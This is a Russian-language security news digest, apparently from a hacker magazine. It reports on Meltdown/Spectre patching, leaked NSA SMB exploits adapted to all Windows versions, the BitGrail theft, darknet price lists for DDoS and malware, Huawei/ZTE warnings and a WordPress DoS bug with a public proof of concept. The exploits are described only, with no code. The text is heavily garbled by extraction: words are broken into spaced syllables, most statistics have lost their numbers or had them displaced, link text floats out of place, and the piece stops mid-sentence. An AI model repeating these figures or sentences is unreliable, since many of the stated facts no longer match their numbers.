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ВРЕМЯ ПАТЧИТЬ
КАМНИ
Про дол жает ся  работа  над  исправ лени ем  гло баль ных  уяз вимос тей 

, которым под верже ны прак тичес ки все сов ремен ные и не слиш ком
про цес соры и, сле дова тель но, устрой ства.

Meltdown
и Spectre

На пом ню,  что  сум марно  в  «набор»  Meltdown  и  Spectre  вхо дят  три  CVE:
CVE‐2017‐5754 (Meltdown), CVE‐2017‐5753 (Spectre, Variant 1) и CVE‐2017‐5715
(Spectre, Variant 2). Если Meltdown и Spectre, Variant 1, в теории мож но испра‐ 
вить на уров не ОС, то пол ное исправ ление Variant 2 тре бует так же обновле‐ 
ния про шив ки/BIOS/мик рокода, из‐за чего у про изво дите лей воз никли мно‐ 
гочис ленные нак ладки.

Дан ные о Meltdown и Spectre рас кры ли рань ше зап ланиро ван ного сро ка.
Офи циаль но опуб ликовать информа цию о проб лемах собира лись в середи не
янва ря  2018  года  (обыч ное  эмбарго  дли ной  в  90  дней  на  этот  раз  было
сущес твен но уве личе но в силу «ком плексной при роды уяз вимос тей и исправ‐ 
лений для них»). Одна ко утеч ка дан ных в СМИ про изош ла рань ше, и в резуль‐ 
тате  начало  2018  года  озна мено валось  нас тоящей  паникой  сре ди  спе‐ 
циалис тов по информа цион ной безопас ности, ког да слу хов было куда боль‐ 
ше, чем фак тов.

В резуль тате поч ти все пат чи для най ден ных проб лем были под готов лены
в  спеш ке.  Исправ ления  ока зались  несов мести мы  с  некото рыми  анти вирус‐ 
ными  решени ями,    сис тем,  про воци рова ли  BSOD
и  , а так же замет но  . В ито‐ 
ге  в  кон це  янва ря  2018  года  ком пания  Intel  экс трен но  при оста нови ла  рас‐ 
простра нение исправ лений для уяз вимос ти Spectre (Variant 2), приз вав поль‐ 
зовате лей и про изво дите лей железа дож дать ся нор маль но работа ющих вер‐ 
сий мик рокодов.

вы зыва ли  отказ  в  работе
час тые перезаг рузки сни жали про изво дитель ность

За про шед шее с тех пор вре мя инже неры Intel успе ли под готовить новые
мик рокоды для про цес соров на архи тек туре Skylake, а так же пат чи для Kaby
Lake  и  Coffee  Lake.  Обновле ния  пред назна чены  для  шес того,  седь мого
и вось мого поколе ний про дук товой линей ки  Intel Core, а так же про цес соров
Intel Core X, Intel Xeon Scalable и Intel Xeon D (пос ледние два решения исполь‐ 
зуют ся в основном в дата‐цен трах).

За тем  раз работ чики  Intel  пред ста вили  еще  одно  обновле ние  докумен та
Microcode  Update  Guidance,  сог ласно  которо му  новые  мик рокоды  готовы
для нес коль ких моделей про цес соров Haswell и Broadwell.  Так, исправ ления
получат  решения  Broadwell  с  CPUID  50662,  50663,  50664,  40671,  406F1,
306D4  и  40671,  а  так же  ряд  про цес соров  Haswell  —  306C3,  4066,  306F2,
40651 и 306C3. Фак тичес ки перечис ленные CPUID отно сят ся к про цес сорам
серий Xeon и Core.

Сто ит  отме тить,  что  это  далеко  не  пос ледние  пат чи,  которые  при дет ся
выпус тить  Intel.  Сво его  часа  ждут  еще  16  типов  про цес соров,  в  том  чис ле
чипы Sandy Bridge и Ivy Bridge. Точ ного гра фика выхода исправ лений для них
пока нет, извес тно лишь, что мик рокоды находят ся в раз работ ке, на ста диях
Pre‐beta и Beta.

Сло жив шаяся  вок руг  выхода  пат чей  ситу ация  воз мутила  не  толь ко  поль‐ 
зовате лей. В кон це янва ря 2018 года чле ны Комите та сената США по энер‐ 
гетике  и  тор говле  нап равили  офи циаль ные  зап росы  ком пани ям  Intel,  AMD,
ARM, Apple, Amazon, Google и Microsoft, силясь разоб рать ся в хаосе, который
окру жал рас кры тие информа ции об уяз вимос тях Spectre и Meltdown, и в при‐ 
чинах мно гочис ленных нак ладок, воз никших при выпус ке исправ лений.

Учи тывая  серь езность  ситу ации,  чле ны  Комите та  сената  США  по  энер‐ 
гетике  и  тор говле  приз вали  ком пании  к  отве ту,  тре буя  офи циаль ных  разъ‐ 
ясне ний.  Про изво дите ли  отве тили  на  этот  зап рос  еще  в  начале  фев‐ 
раля 2018 года, одна ко их пись ма были обна родо ваны лишь сей час.

На ибо лее  информа тив ным  и  инте рес ным  опре делен но  стал  ответ  ком‐ 
пании  Intel.  В  час тнос ти,  пред ста вите ли  «желез ного»  гиган та  про лили  свет
на весь ма любопыт ный нюанс:

«До  утеч ки  информа ции  [в  СМИ]  Intel  рас кры вала  дан ные  о  Spectre
и Meltdown лишь тем ком пани ям, которые мог ли помочь Intel улуч шить
безопас ность поль зовате лей озна чен ной тех нологии», — гла сит пись- 
мо Intel.

Фак тичес ки  это  озна чает,  что  руководс тво  Intel  соч ло  бес полез ной  помощь
влас тей  и  сто рон них  спе циалис тов,  не  пос тавив  в  извес тность  о  Spectre
и Meltdown  никого,  кро ме  узко го  кру га  лиц.  Лишь  преж девре мен ная  утеч ка
информа ции в прес су вынуди ла ком панию «уско рить свои пла ны по выпус ку
исправ лений»  и  уве домить  о  проб лемах  US‐CERT,  CERT/CC  и  широкую
общес твен ность.

Так же чле нов сената впол не оправдан но вол новал воп рос вли яния Spectre
и Meltdown на кри тичес кие объ екты инфраструк туры, осо бен но в све те того,
что иссле дова тели и про изво дите ли дол гое вре мя скры вали кри тичес кие уяз‐ 
вимос ти  от  влас тей.  На  это  пред ста вите ли  Intel  отве тили,  что,  сог ласно  их
дан ным, риск для про мыш ленных сис тем управле ния весь ма низок. В целом
же  Intel,  рав но  как  и  пред ста вите ли  дру гих  ком паний,  оправды вают  «замал‐ 
чивание»  проб лем  Spectre  и  Meltdown  очень  прос то  и  сооб щают,  что
наложен ное  на  информа цию  эмбарго  соот ветс тво вало  всем  при нятым
в  индус трии  стан дар тным  про цеду рам.  Яко бы  это  дол жно  было  защитить
общес твен ность от экс плу ата ции еще не зак рытых «дырок».

Ин терес ные фак ты мож но встре тить так же и в офи циаль ных отве тах дру гих
ком паний. К при меру, Microsoft приз нала: инже неры ком пании заранее зна ли
о  том,  что  пат чи  для  уяз вимос тей  будут  кон флик товать  с  некото рыми  анти‐ 
вирус ными про дук тами. Ком пания даже пыталась пре дуп редить про изво дите‐ 
лей  защит ных  решений,  одна ко  сде лать  это  ока залось  край не  слож но,  так
как нель зя было рань ше вре мени сооб щить о Meltdown и Spectre все му миру.

 РОС СИЙ СКИХ ПОЛЬ ЗОВАТЕ ЛЕЙ ВСЕ ЕЩЕ ЗАПИСЫ ‐
ВАЮТ ПАРОЛИ
37%

→Эк спер ты «Лабора тории Кас пер ско го» под счи тали, что уро вень циф ровой гра мот ности поль‐ 
зовате лей повыша ется.

В  час тнос ти,  люди  ста ли  вни матель нее  в  отно шении  сво их  паролей.  Но  слож ные  и  раз ные
пароли  труд ны для  запоми нания, и полови на поль зовате лей  так или ина че  выбира ет  небезо‐ 
пас ный спо соб хра нения паролей, которые не может запом нить.

 записы вают ком бинации сим волов в блок нот, а   — на лис ток бумаги, лежащий рядом
с  компь юте ром.    доверя ют  пароли  бра узе рам,  а    сох раня ют  их  в  отдель ном  фай ле
на компь юте ре.

28% 9%
11% 8%

Спе циаль ное  ПО  для  безопас ного  хра нения  паролей  сегод ня  в  Рос сии  выбира ют  менее 
поль зовате лей.

6%

ЭКСПЛОИТЫ АНБ
ДЛЯ ВСЕХ ВЕРСИЙ
WINDOWS
Вес ной  2017  года  хакер ская  груп па  The  Shadow  Brokers 
в  откры том  дос тупе  «арсе нал  киберо ружия»,  похищен ный  у  аме рикан ских
спец служб.  Тог да  хакеры обна родо вали  экс пло иты и  инс тру мен ты,  укра ден‐ 
ные  у  Equation Group —  груп пиров ки,  за  которой  сто ят  «пра витель ствен ные
хакеры»  из  АНБ.  В  резуль тате  дос тоянием  широкой  общес твен ности  ста ли
такие  опас ные  вещи,  как  экс пло ит  EternalBlue,  нап равлен ный  на  экс плу ата‐ 
цию уяз вимос ти в про токо ле SMB (имен но он исполь зовал ся для рас простра‐ 
нения шиф роваль щика   в мае 2017 года, а затем во вре мя атак 

 и  ).

опуб ликова ла

WannaCry Not‐
Petya Bad Rabbit

Еще летом 2017 года спе циалис ты ком пании RiskSense Шон Дил лон (Sean
Dillon)  и Дилан Девис  (Dylan Davis)  сооб щили,  что  им 
экс пло ит EternalBlue для работы с Windows 10. Напом ню,  что на  тот момент
инс тру мент  для  исполь зования  багов  в  SMB  уже  мог  при менять ся  для  атак
на Windows XP, Windows Vista, Windows 7, Windows Server 2003 и Windows Serv‐
er 2008, хотя в некото рых слу чаях добить ся зараже ния было весь ма неп росто.
Так же  иссле дова телям  уда лось  модифи циро вать  EternalBlue  для  работы
с Windows 8, Windows 8.1 и Windows Server 2012.

уда лось адап тировать

Од нако в опуб ликован ном The Shadow Brokers дам пе содер жались и дру‐ 
гие экс пло иты, чьи наз вания не столь извес тны, но потен циал тоже обши рен.
Все про шед шие месяцы Шон Дил лон про дол жал начатую в 2017 году работу
и теперь  . Иссле дова телю уда лось скор ректи‐ 
ровать исходный код экс пло итов EternalChampion, EternalRomance и Eternal‐
Synergy  таким  обра зом,  что  теперь  эти  инс тру мен ты  могут  исполь зовать ся
про тив  любых  вер сий  Windows,  32‐раз рядных  и  64‐раз рядных,  вышед ших
за пос ледние 18 лет (начиная с Windows 2000).

со общил об оче ред ном успе хе

Дил лон  уже  адап тировал  резуль тат  сво ей  работы  для Metasploit  и  опуб‐ 
ликовал исходные коды  . Так, CVE‐2017‐0146 (EternalChampion, Eter‐
nalSynergy)  поз воля ет  спро воци ровать  сос тояние  гон ки  через  transaction‐
зап росы,  а  CVE‐2017‐0143  (EternalRomance,  EternalSynergy)  экс плу ати рует
проб лему типа type confusion меж ду WriteAndX и transaction‐зап росами.

на GitHub

Эк сперт  под черки вает,  что  дан ные  инс тру мен ты  были  соз даны  исклю‐ 
читель но в рам ках науч ного иссле дова ния и пред назна чены для спе циалис‐ 
тов  и  раз работ ки  эффектив ных  защит ных  прак тик.  Исполь зование  этих  экс‐ 
пло итов  для  атак  без  явно го  сог ласия  треть ей  сто роны  про тиво закон но,
и автор не несет никакой ответс твен ности за подоб ные инци ден ты.

→«Крип товалю ты по‐преж нему явля ются новым, гипер волатиль ным клас сом акти вов и в любой
момент  могут  обру шить ся  поч ти  до  нуля.  Не  вкла дывай те  в  эту  сфе ру  боль ше  средств,  чем
готовы  потерять.  Если  вы  пыта етесь  решить,  как  луч ше  хра нить  свои  накоп ления,  тра дици‐ 
онные акти вы — это бес про игрышный вари ант»
—   пре дос терега ет крип товалют ных инвесто ров в сво ем TwitterВи талик Бутерин

БИРЖА BITGRAIL
ОБАНКРОТИЛАСЬ
ПОСЛЕ ВЗЛОМА
Италь янская  крип товалют ная  бир жа  BitGrail  пос тра дала  от  рук  неиз вес тных
зло умыш ленни ков. С кошель ка ресур са похити ли более 17 мил лионов монет
Nano  (XRB,  ранее  про ект  носил  имя  RaiBlocks),  что  экви вален тно  при мер‐ 
но 180 мил лионам дол ларов на момент пуб ликации офи циаль ного заяв ления
об  инци ден те.  Пос ле  офи циаль ного  заяв ления  Nano  зна читель но  потеря ла
в цене, и теперь сум ма ущер ба сос тавля ет при мер но 145 мил лионов.

Ин терес но,  что  в  офи циаль ном  заяв лении,  опуб ликован ном  ком пани ей,
отсутс тву ют  сло ва  «взлом» или  «ата ка». Речь идет о мно гочис ленных  «неав‐ 
торизо ван ных  тран закци ях»,  которые  выяви ла  внут ренняя  про вер ка.  Сооб‐ 
щает ся,  что  в  резуль тате  загадоч ного  инци ден та  пос тра дала  толь ко  крип‐ 
товалю та Nano, которую похити ли из кошель ка бир жи. При этом ресурс вре‐ 
мен но  при оста новил  все  опе рации  для  всех  крип товалют  вооб ще,  то  есть
ввес ти  или  вывес ти  средс тва  пока  невоз можно.  К  рас сле дова нию  про изо‐ 
шед шего уже под клю чились пра воох ранитель ные орга ны.

Ос нователь и вла делец бир жи Фран ческо Фирано (Francesco Firano), так‐ 
же извес тный как The Bomber,  , что ком пания не суме‐ 
ет  воз местить  похищен ные  средс тва  всем  пос тра дав шим,  так  как  в  нас‐ 
тоящее вре мя в рас поряже нии BitGrail оста лось лишь 4 мил лиона Nano,  чья
сто имость  сос тавля ет  при мер но  40  мил лионов  дол ларов.  Так же  Фирано
отме тил, что раз работ чики Nano не жела ют сот рудни чать с BitGrail.

со общил в сво ем Twitter

В  ответ  на  это  коман да  раз работ ки Nano  пос пешила опуб ликовать  свою
вер сию слу чив шегося в  . Дело в том, что Фирано
так же  заявил,  буд то  при чиной  инци ден та  мог  стать  некий  баг  в  про токо ле
Nano.  Раз работ чики  отвер гли  эту  теорию  и  завери ли,  что  Nano  в  пол ном
поряд ке, а проб лему сле дует искать в ПО BitGrail.

офи циаль ном бло ге про екта

Ху же  того, раз работ чики пред полага ют,  что Фирано и пред ста вите ли Bit‐
Grail  зна ли о про изо шед шем дав но,  средс тва были похище ны отнюдь не на
прош лой неделе, а поль зовате лей и коман ду Nano Core дезин форми рова ли
намерен но.  Сто ит  отме тить,  что  бир жа  при оста нови ла  опе рации  с  крип‐ 
товалю той  Nano  еще  в  янва ре  2017  года,  пред ложив  поль зовате лям  кон‐ 
верти ровать  Nano  в  Bitcoin.  Затем  поль зовате лей  бир жи  поп росили  прой ти
верифи кацию, что тоже никак не помог ло с выводом средств.

В сво ем бло ге коман да Nano обна родо вала перепис ку, в которой Фирано
пред лагал исполь зовать для решения воз никшей проб лемы хар дфорк. Пос ле
это го раз работ чики и вов се опуб ликова ли деталь ный раз бор одной из «неав‐ 
торизо ван ных  тран закций» и сооб щили,  что это пред ста вите ли BitGrail  отка‐ 
зыва ются с ними сот рудни чать, из‐за чего рас сле дова ние прод вига ется мед‐ 
ленно.

Су дя по нас тро ениям в Сети, боль шинс тво поль зовате лей под держи вают
раз работ чиков  Nano,  тог да  как  BitGrail  обви няют  в  мошен ничес тве,  халат‐ 
ности и даже в кра же средств и exit scam. Кро ме того, поль зовате ли уже объ‐ 
еди нились для подачи кол лектив ного судеб ного иска.

DDOS‐АТА КУ НА ЧАС МОЖ НО ЗАКАЗАТЬ ВСЕ ГО
ЗА 10 ДОЛ ЛАРОВ
→Ана лити ки ком пании Armor изу чили положе ние дел на круп ных тор говых пло щад ках в дар кне‐ 
те и под счи тали, сколь ко сей час сто ят популяр ные в кибер прес тупной сре де услу ги и сер висы.

DDoS‐ата ка обой дет ся заказ чику в   дол ларов за один час или   дол ларов за один день.
Ата ка дли тель ностью неделю и более сто ит   дол ларов.
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Арен да  бан кинго вого  бот нета  будет  сто ить    дол ларов  в  месяц  (с  базовой  фун кци ональ‐ 
ностью) или   дол ларов в месяц (с пол ной фун кци ональ ностью). За офи циаль ную под дер‐ 
жку при дет ся отдать еще   дол ларов.
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На боры  экс пло итов  по‐преж нему  оста ются  дорогим  удо воль стви ем:  арен да  решения  Disdain
обой дет ся в   дол ларов в месяц, тог да как более серь езный набор Stegano сто ит 
дол ларов в месяц.
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Ским мер для уста нов ки на бан комат мож но при обрести в дар кне те за   дол ларов.700–1500

Сто имость  мал вари  для  взло ма  кон крет ных  прог рамм,  ОС  и  решений  силь но  варь иру ется:
от   дол ларов за инс тру мент для хищения паролей или   дол ларов за экс пло ит для Word‐
Press до    за  лоудер для Android или    дол ларов  за  бил дер  экс пло итов  для Mi‐
crosoft Office.
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В про даже мож но най ти даже раз личные хакер ские ману алы и  тутори алы, сто имость которых
колеб лется от   до   дол ларов.5 50

СПЕЦСЛУЖБЫ США
ПРОТИВ HUAWEI И
ZTE
На про шед шем заседа нии Спе циаль ного  комите та по раз ведке сената  кон‐ 
грес са США  проз вучало  весь ма  инте рес ное  заяв ление.  Гла вы  сра зу шес ти
аме рикан ских ведомств, вклю чая ФБР, АНБ и ЦРУ и Наци ональ ную раз ведку,
заяви ли,  что  прос тым  аме рикан ским  граж данам  не  сто ит  поль зовать ся
устрой ства ми ком паний Huawei и ZTE из‐за опас ности шпи она жа.

Ди рек тор  ФБР  Крис тофер  Рэй  (Chris  Wray)  сооб щил,  что  пра витель ство
«глу боко  обес поко ено»  рис ками,  которые могут  воз никнуть,  если  поз волить
зарубеж ной ком пании или орга низа ции, которая отчи тыва ется пра витель ству
сво ей  стра ны  и  не  раз деля ет  аме рикан ских  цен ностей,  занять  домини‐ 
рующие  позиции  в  телеком муника цион ных  сетях  США.  Так же  Рэй  говорил
о том, что все это чре вато вре донос ными модифи каци ями и хищени ем дан‐ 
ных,  кро ме  того,  ком пания  или  орга низа ция  в  таком  положе нии  получа ет
прек расную воз можность для скры того шпи она жа.

В  сво ем  заяв лении  гла вы  спец служб  осо бо  выдели ли  ком пании  Huawei
и ZTE, которые, по их мне нию, тес но свя заны со спец служ бами КНР.

Сто ит  отме тить,  что  сов сем  недав но  ком пания  Huawei  дей стви тель но
готови лась к выходу на аме рикан ский рынок и, в час тнос ти, пла ниро вала зак‐ 
лючить  пар тнерс тво  с  телеком муника цион ным  опе рато ром  AT&T,  одна ко
в  янва ре  2018  года  сдел ка  сор валась.  И,  как  утвер жда ют  СМИ,  во  мно гом
это про изош ло имен но из‐за дав ления со сто роны влас тей США.

Пред ста вите ли  Huawei  и  ZTE  уже  вырази ли  недо уме ние  отно ситель но
позиции глав аме рикан ских спец служб. Так, в Huawei заяви ли, что про дук ции
ком пании доверя ют пра витель ства и поль зовате ли 170 стран мира и Huawei
таит в себе ров но такую угро зу кибер безопас ности, как и любой дру гой про‐ 
изво дитель  в  области  информа цион но‐ком муника цион ных  тех нологий.  «Мы
пре дель но откры ты и проз рачны во всем, что дела ем», — под чер кну ли пред‐ 
ста вите ли ком пании.

Ком пания ZTE, в свою оче редь, сооб щила, что с гор достью пред став ляет
свои  инно ваци онные  решения  на  аме рикан ском  рын ке  и  всег да  тща тель но
соб люда ет все законы и адми нис тра тив ные пра вила США. Так же в ком пании
отме тили, что боль шинс тво про дук тов ZTE пос тро ено на осно ве про изве ден‐ 
ных в США чип сетов, опе раци онных сис тем и дру гих ком понен тов.

 ВРЕ ДОНОС НЫХ ПРИ ЛОЖЕ НИЙ УДА ЛИЛИ
ИЗ GOOGLE PLAY В 2017 ГОДУ
700 000

→Ком пания Google под вела ито ги 2017 года.

Ана лити ки Google рас ска зали, что в боль шинс тве слу чаев про ник шая в Play Store мал варь ими‐ 
тиру ет  дру гие  популяр ные  при ложе ния.  Час то  зло умыш ленни ки  исполь зуют  Unicode  и  гомог‐ 
рафичес кие ата ки, что бы выдать фей ковое при ложе ние за извес тный ори гинал, под делав даже
наз вание.

За год из офи циаль ного катало га при ложе ний было уда лено более   вре донос ных при‐ 
ложе ний  и  заб локиро вано  более    недоб росовес тных  раз работ чиков.  Эти  показа тели
поч ти на   пре выша ют резуль таты 2016 года.
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Сум марно из офи циаль ного катало га при ложе ний исклю чили более   при ложе ний‐ими‐ 
тато ров.
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15 000 000 НЕБЕСНЫХ
ТОРРЕНТОВ
По пуляр ный «пират ский» тор рент‐тре кер SkyTorrents стал жер твой собс твен‐ 
ного успе ха и был вынуж ден объ явить о зак рытии.

SkyTorrents был соз дан око ло года тому назад, и тог да опе рато ры сер виса
сра зу  заяви ли,  что  на  их  сай те  не  будет  никакой  рек ламы.  Хотя  мно гие
отнеслись к это му заяв лению со скеп сисом, тре кер быс тро наб рал популяр‐ 
ность, и вок руг него соб ралась немалая поль зователь ская база.

«Сайт оста нет ся сво бод ным от рек ламы или будет зак рыт. Ког да наши
собс твен ные средс тва иссякнут, мы перей дем к сбо ру пожер тво ваний.
Так же  мы  можем  передать  ресурс  кому‑либо  еще,  кто  име ет  ана- 
логич ные  намере ния,  раз деля ет  наши  инте ресы  и  цели  по  дос- 
тижению сво бод ного от рек ламы  „пират ско го“ мира», — писали опе- 
рато ры SkyTorrents год назад.

К  сожале нию,  события  раз вивались  по  сце нарию,  который  пред полага ли
орга низа торы ресур са. SkyTorrents очень быс тро дошел до ста дии, ког да сайт
начал  генери ровать  нес коль ко мил лионов  посеще ний  в  день,  тра фик  рез ко
вырос, а вмес те с ним уве личи лись и рас ходы на содер жание ресур са. Так,
еже месяч ные тра ты воз росли до 1500 дол ларов, и, хотя адми нис тра торы Sky‐
Torrents попыта лись собирать пожер тво вания, это не слиш ком помог ло.

В  ито ге  даже  сами  поль зовате ли  ста ли  уго вари вать  опе рато ров  тре кера
монети зиро вать ресурс пос редс твом рек ламы,  так как пара рек ламных бан‐ 
неров — нич то по срав нению с пер спек тивой зак рытия сай та. Увы, адми нис‐ 
тра ция SkyTorrents  твер до сто яла на сво ем, в  том чис ле из‐за  того, что рек‐ 
лама ком про мети рует при ват ность поль зовате лей.

Так  как  день ги  у  коман ды  в  ито ге  закон чились,  SkyTorrents  все  же  прек‐ 
ратил работу, как и было обе щано год назад. Одна ко тре кер не прос то ушел
в  офлайн.  Пос ле  себя  опе рато ры  ресур са  оста вили  ,  нас‐ 
читыва ющую  око ло  15  мил лионов  тор рентов.  Любой  жела ющий  может  заг‐ 
рузить  444  Гбайт  torrent‐фай лов  или  ска чать  толь ко  хеши,  которые  «весят»
322 Мбайт.

ги гант скую  базу

Ко ман да  SkyTorrents  наде ется,  что  кто‐нибудь,  вос поль зовав шись  базой
ресур са,  воз родит  тре кер,  про дол жив  раз вивать  идею  сво бод ного  от  рек‐ 
ламы «пират ско го» прос транс тва. Впро чем, как показа ла прак тика, быть рату‐ 
ющим за сво боду информа ции аль тру истом — весь ма нак ладное хоб би.

→«Глав ная  осо бен ность  крип товалют  —  их  ано ним ность.  И  я  не  думаю,  что  это  хорошо.
Хорошо,  ког да  у  пра витель ств  есть  воз можность  отсле живать  отмы вание  денеж ных  средств,
укло нение от упла ты налогов, а  так же спон сирова ние тер рорис тов. В нас тоящее вре мя крип‐ 
товалю ты исполь зуют ся  для  покуп ки фен танила  и  дру гих  нар котиков,  так  что  это  ред кая  тех‐ 
нология,  которая  поч ти  нап рямую при водит  к  смер ти  людей.  Так же  я  счи таю,  что  вол на  спе‐ 
куля ций вок руг раз личных ICO и крип товалют соз дает огромные рис ки в дол госроч ной пер спек‐ 
тиве»
—    отве чает  на  воп рос  поль зовате ля Reddit  о  крип товалю тах  в  ходе  сес сии  AMA
(Ask me anything, «Спро сите меня о чем угод но»)
Билл  Гей тс
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ANDROID P ПРОТИВ
ПОДГЛЯДЫВАНИЯ
Из дание  XDA‐Developers  сооб щило,  что  в  новой  вер сии опе раци онной  сис‐ 
темы  Android,  которая  пока  извес тна  под  кодовым  наз вани ем  Android  P,
появят ся важ ные изме нения, свя зан ные с безопас ностью.

Так, в Android Open Source Project (AOSP) были обна руже ны два ком мита,
которые  приз ваны  огра ничи вать  работа ющие  в  фоновом  режиме  при ложе‐ 
ния, не поз воляя им получать дос туп к мик рофону или камере устрой ства пос‐ 
ле дли тель ного прос тоя. Раз работ чики пишут, что дан ные меры дол жны улуч‐ 
шить  защиту  лич ных  дан ных  поль зовате лей.  Ведь,  раз решая  при ложе нию
дос туп к камере и мик рофону, человек зачас тую даже не подоз рева ет о том,
что  впос ледс твии  при ложе ние  может  исполь зовать  эту  фун кци ональ ность
за его спи ной, по собс твен ной ини циати ве.

Сто ит  ска зать,  что  подоб ные  огра ниче ния  нап рашива лись  дав но,  так
как  вирусо писа тели  уже  не  один  год  экс плу ати руют  мик рофоны  и  камеры
мобиль ных гад жетов для скры той слеж ки за их вла дель цами.

Ожи дает ся,  что  Android  P  ста нет  дос тупна  для  тес тирова ния
в мае 2018 года, то есть пер вые бил ды новой вер сии ОС дол жны уви деть свет
одновре мен но с про веде нием кон ферен ции Google I/O. Офи циаль ный релиз
новой  вер сии  Android  зап ланиро ван  ори енти ровоч но  на  август‐сен‐ 
тябрь 2018 года.

ЕЖЕ ГОД НЫЙ ОПРОС ПОЛЬ ЗОВАТЕ ЛЕЙ STACK OVERFLOW
ВЫЯВИЛ ТЕКУЩИЕ ТРЕН ДЫ
→Каж дый год пред ста вите ли Stack Overflow про водят опрос сво ей немалой поль зователь ской
базы, что бы выявить наибо лее акту аль ные трен ды текуще го года сре ди раз работ чиков.

На  этот  раз  в  опро се  при няли  учас тие    поль зовате ля,  которым  пред ложили  отве тить
на   с лиш ним раз нооб разных воп росов. Ниже мы при водим основные резуль таты.
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Са мый рас простра нен ный язык прог рамми рова ния / раз метки / опи сания сце нари ев

Са мые популяр ные фрей мвор ки

Са мые популяр ные базы дан ных

Са мый любимый сооб щес твом язык прог рамми рова ния

Са мый ненавис тный язык прог рамми рова ния для сооб щес тва

Язык, выучить который опро шен ные хотели бы боль ше все го

Свод ная кар та, иллюс три рующая все груп пы уме ний и зна ний опро шен ных, а так же свя зи
меж ду раз личны ми тех нологи ями

WORDPRESS:
ФИНАЛЬНОЕ
ОБНОВЛЕНИЕ
5  фев раля  2018  года  раз работ чики WordPress  опуб ликова ли  новую  вер сию
CMS (WordPress 4.9.3), которая дол жна была устра нить ряд мел ких проб лем,
но  в  ито ге  слу чай но  испорти ла  механизм  авто мати чес ких  обновле ний,  поз‐ 
воля ющий CMS обновлять ся самос тоятель но, без учас тия поль зовате ля.

Хо тя  ошиб ку  быс тро  замети ли  и  уже  на  сле дующий  день  выш ла  вер сия
WordPress 4.9.4, вос ста нав лива ющая нор маль ную работу сис темы авто мати‐ 
чес ких  обновле ний,  воз никла  оче вид ная  проб лема.  Дело  в  том,  что  поль‐ 
зовате ли,  у  которых  сис тема обновле ний  уже  сло малась,  не  получи ли  авто‐ 
мати чес кого  исправ ления  в  виде WordPress  4.9.4,  они  могут  даже  не  знать
о его сущес тво вании. Для уста нов ки вер сии 4.9.4 пос тра дав шим нуж но ини‐ 
цииро вать обновле ние вруч ную, из панели управле ния.

Еще  одна  сквер ная  новость  в  том,  что  в  обе их  вер сиях  (4.9.3  и  4.9.4)
отсутс тво вал  патч  для  проб лемы CVE‐2018‐6389,  о  которой  ранее  сооб щил
незави симый  изра иль ский  ИБ‐спе циалист  Барак  Тавили  (Barak  Tawily).  Эта
кри тичес кая DoS‐уяз вимость свя зана с работой load‐scripts.php. По сути, баг
поз воля ет «уро нить» прак тичес ки любой уяз вимый сайт, нап равляя ему спе‐ 
циаль но сфор мирован ные зап росы.

Та вили обна ружил, что ата кующий может зас тавить load‐scripts.php заг рузить
все дос тупные фай лы JavaScript вооб ще, прос то перечис лив их в URL. Из‐за
это го  ата куемый  сайт  может  начать  работать  зна читель но  мед леннее,  пог‐ 
лощая все боль ше и боль ше мощ ностей сер вера. Разуме ется,  при помощи
одно го  такого  зап роса  зло умыш ленни ку  не  удас тся  спро воци ровать  отказ
в обслу жива нии,  одна ко иссле дова тель  соз дал proof‐of‐concept  экс пло ит —
прос той скрипт doser.py, написан ный на Python. Скрипт отправ ляет мно жес‐ 
тво  подоб ных  зап росов  целево му  URL.  При мер но  пос ле  500‐го  зап роса
сред ний  сайт,  работа ющий  на  VPS‐сер вере,  перес тает  отве чать  вов се,
«отда вая» лишь ошиб ки 502, 503 и 504.

Спе циалист  пре дуп редил,  что  с  одно го  компь юте ра  вряд  ли  удас тся
«положить»  работа ющий  под  управле нием  WordPress  сайт,  рас положен ный
на  отдель ном  мощ ном  сер вере,  одна ко,  если  в  рас поряже нии  ата кующе го
есть широкий канал или нес коль ко ботов, ата ка сра бота ет даже про тив такого
ресур са,  при чем  ока жет ся  менее  зат ратной  для  зло умыш ленни ка,  нежели
обыч ный DDoS.

Хо тя Тавили дав но уве домил о проб леме раз работ чиков CMS, те не соч ли
обна ружен ную  уяз вимость  дос таточ но  серь езной  и  сооб щили,  что  решать
такие проб лемы нуж но на уров не сер вера или сети, но не на уров не при ложе‐ 
ний. Судя по отсутс твию пат чей в сос таве вер сий 4.9.3 и 4.9.4, решение раз‐ 
работ чиков до сих пор не изме нилось.

К сожале нию, proof‐of‐concept экс пло ит для CVE‐2018‐6389 уже сво бод но
.  Более  того,  спе циалис ты  ком пании  Imperva  под готови ли

собс твен ный док лад, где пол ностью сог ласились с вывода ми Барака Тавили
и сооб щили, что сай ты под управле нием WordPress уже под верга ются ата кам,
которые экс плу ати руют дан ный баг.

дос тупен  в  Сети

От чаяв шись  дож дать ся  пат чей,  Тавили  опуб ликовал  на  GitHub  собс твен‐ 
ный  , в котором уяз вимость устра нена. Так же иссле дова тель
выложил в откры тый дос туп  , который поз воля ет испра вить проб‐ 
лему в уже сущес тву ющих уста нов ках CMS.

форк WordPress
bash‐скрипт

ЛИШЬ   ПОЛЬ ЗОВАТЕ ЛЕЙ ЗАП ЛАТИЛИ ВЫКУП
ШИФ РОВАЛЬ ЩИКАМ И СПАС ЛИ СВОИ ДАН НЫЕ

19,1%

→Ин терес ный ана лити чес кий отчет опуб ликова ли спе циалис ты CyberEdge Group.

Ком пания CyberEdge Group опро сила пред ста вите лей более   и руково дите лей
в 17 стра нах мира, что бы понять, как эффектив нее пос тупать в слу чае, если вы ста ли жер твой
шиф роваль щика.

1200 ИТ‑фирм

Ока залось, что от атак вымога телей пос тра дали более   опро шен ных и   из них отка‐ 
зались пла тить зло умыш ленни кам выкуп. Вос ста новить фай лы сво ими силами в ито ге уда лось

 отка зав шихся.

55% 61,3%

53,3%

Зап латить  прес тупни кам  решили    ком паний,  но  толь ко  чуть  мень ше  полови ны  из  них
( )  в  ито ге  получи ли  от  опе рато ров  мал вари  инс тру мен ты  для  рас шифров ки  дан ных.
Оставши еся   лишились одновре мен но и денег, и информа ции.
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ПЕНИС ВМЕСТО ICO
Крип товалют ный  стар тап  LoopX,  обе щав ший  поль зовате лям  раз работать
мобиль ное  при ложе ние  для  тор говли  крип товалю той  на  базе  собс твен ного
уни каль ного  проп риетар ного  алго рит ма,  ока зал ся  фаль шив кой.  Раз работ‐ 
чики  LoopX  исчезли  в  неиз вес тном  нап равле нии,  а  все  акка унты  про екта
в  соци аль ных  сетях,  вклю чая  Facebook,  Telegram  и  YouTube,  были  уда лены.
Сог ласно  архивной  вер сии  офи циаль ного  сай та,  про ект  сулил  инвесто рам
